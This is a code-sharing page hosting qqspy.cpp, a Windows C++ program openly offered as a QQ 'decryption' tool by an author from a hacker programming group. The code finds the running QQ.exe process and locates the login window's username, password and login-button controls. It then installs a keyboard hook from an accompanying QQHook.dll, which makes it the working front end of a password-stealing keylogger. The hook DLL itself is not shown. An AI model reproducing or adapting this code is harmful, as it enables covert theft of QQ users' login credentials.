⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 qqspy.cpp

📁 这篇文档是用于解密qq的源代码
💻 CPP
字号:
//****************************************
// 作者:∮明天去要饭
// QICQ:305725744
// MSN:kgdiwss@hotmail.com
// 黑客编程群:2585270
// Blog:http://blog.csdn.net/kgdiwss
//****************************************
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <conio.h>

#include "QQHook.h"
#pragma comment(lib,"QQHook")

//QQ登陆框正常情况下的风格
#define QQLoginDlgNormalStyle	0x94CA00C4
//QQ登陆框最小化时的风格
#define QQLoginDlgMiniStyle		0xB4CA00C4
//用户名下拉控件的ID
#define QQLoginUserNameId		0x0000008A
//密码控件文本框的ID
#define QQLoginPasswordId		0x000000B4
//登陆按扭的ID 
#define QQLoginButtonId         0x00003EA0
//申明SetKeyBoardHook为导入函数
BOOL __declspec(dllimport) SetKeyBoardHook(BOOL bInstall,
										  HMODULE hDll,
										  HWND hLoginWindow,
										  HWND hUserName,
										  HWND hUserPwd,
										  HWND hLoginButton,
										  DWORD dwCreateWindowProcessID);
//枚举所有窗口的回调函数
BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam);
//枚举所有子窗口的回调函数
BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam);
//登陆窗口句柄
HWND hLoginWindow = NULL;
//创建窗口的进程ID
DWORD dwCreateWindowProcessID;
//用户名、密码、登陆按钮的句柄
HWND hUserName;
HWND hUserPwd;
HWND hLoginButton;

int main(void)
{
	//保存钩子函数的DLL句柄
	HMODULE hDll;
	//安装键盘钩子的返回值
	BOOL bKeyBoardHook;
	//定义PROCESSENTRY32结构
	PROCESSENTRY32 pe;
	pe.dwSize = sizeof(pe);	
	HANDLE hProcessSnap;
	//所有进程快照
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	if(hProcessSnap == INVALID_HANDLE_VALUE)
	{
		printf("进程快照失败!\n");
		return -1;
	}
	BOOL bRet;
	//遍历进程快照,轮流显示每个进程的信息
	bRet = Process32First(hProcessSnap,&pe);
	while(bRet)
	{
		//pe.szExeFile保存的值为进程对应的可执行文件名
		if(strcmp(pe.szExeFile,"QQ.exe") ==0)	
		{			
			BOOL bRet;
			//枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc
			bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
			if(bRet == FALSE)
			{
				printf("枚举所有窗口失败!\n");
				return -1;
			}

			//枚举登陆窗口的所有子窗口,执行上面的函数后就会得到登陆窗口的句柄了
			bRet = EnumChildWindows(hLoginWindow,EnumChildWindowsProc,NULL);
			if(bRet == FALSE)
			{
				printf("枚举子窗口失败");
				return -1;
			}

			//用户名、密码、登陆按钮的句柄都不为空时安装钩子
			if(hUserName != NULL && 
				hUserPwd != NULL &&
				hLoginButton != NULL)
			{
				//得到DLL模块的句柄
				hDll = GetModuleHandle("QQHook.dll");
				if(hDll == NULL)
				{
					return FALSE;
				}
				//安装键盘钩子
				bKeyBoardHook = SetKeyBoardHook(
					TRUE,
					hDll,
					hLoginWindow,
					hUserName,
					hUserPwd,
					hLoginButton,
					dwCreateWindowProcessID);				
				if(bKeyBoardHook == FALSE)
				{
					printf("调用键盘钩子失败!");
					return FALSE;
				}
			}		
		}
		bRet = ::Process32Next(hProcessSnap,&pe);
	}

	// 清除掉进程快照对象
	CloseHandle(hProcessSnap);
	
	//输入|程序才结束,否则程序运行完钩子就自动卸载了
	char strGet;
	strGet = getch();
	while (strGet != '|')
	{
		strGet = getch();
	}

	return 0;
}

BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
{
	if(hwnd == NULL)
	{
		return FALSE;
	}
	//QQ.exe的ID
	DWORD dwQQProcessID;
	dwQQProcessID = (DWORD)lParam;
	GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);	
	//如果创建QQ.exe的进程等于创建窗口的进程	
	if(dwQQProcessID == dwCreateWindowProcessID)
	{
		LONG lWindowStyle;
		//找到窗口的风格
		lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);		
		//如果条件成立,表示当前窗口为登陆窗口
		if(lWindowStyle == QQLoginDlgNormalStyle ||
			lWindowStyle == QQLoginDlgMiniStyle)
		{	
			//保存登陆窗口的句柄
			hLoginWindow = hwnd;		
		}	
	}	
	return TRUE;
}


BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
{
	if(hwnd == FALSE)
	{
		return FALSE;
	}
	LONG  lID;
	//取得所有子窗口的ID
	lID = GetWindowLong(hwnd, GWL_ID);
	//printf("lID的值为:%d\n",lID);
	//该句表示找到用户名的句柄
	if(lID == QQLoginUserNameId)
	{		
		hUserName = hwnd;
		//printf("hUserName的值为:%x\n",hUserName);	
	}
	else if(lID == QQLoginPasswordId)
	{
		hUserPwd = hwnd;
		//printf("hUserPwd的值为:%x\n",hUserPwd);
	}
	else if(lID == QQLoginButtonId)
	{
		hLoginButton = hwnd;
		//printf("hLoginButton的值为:%x\n",hLoginButton);
	}
	return TRUE;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -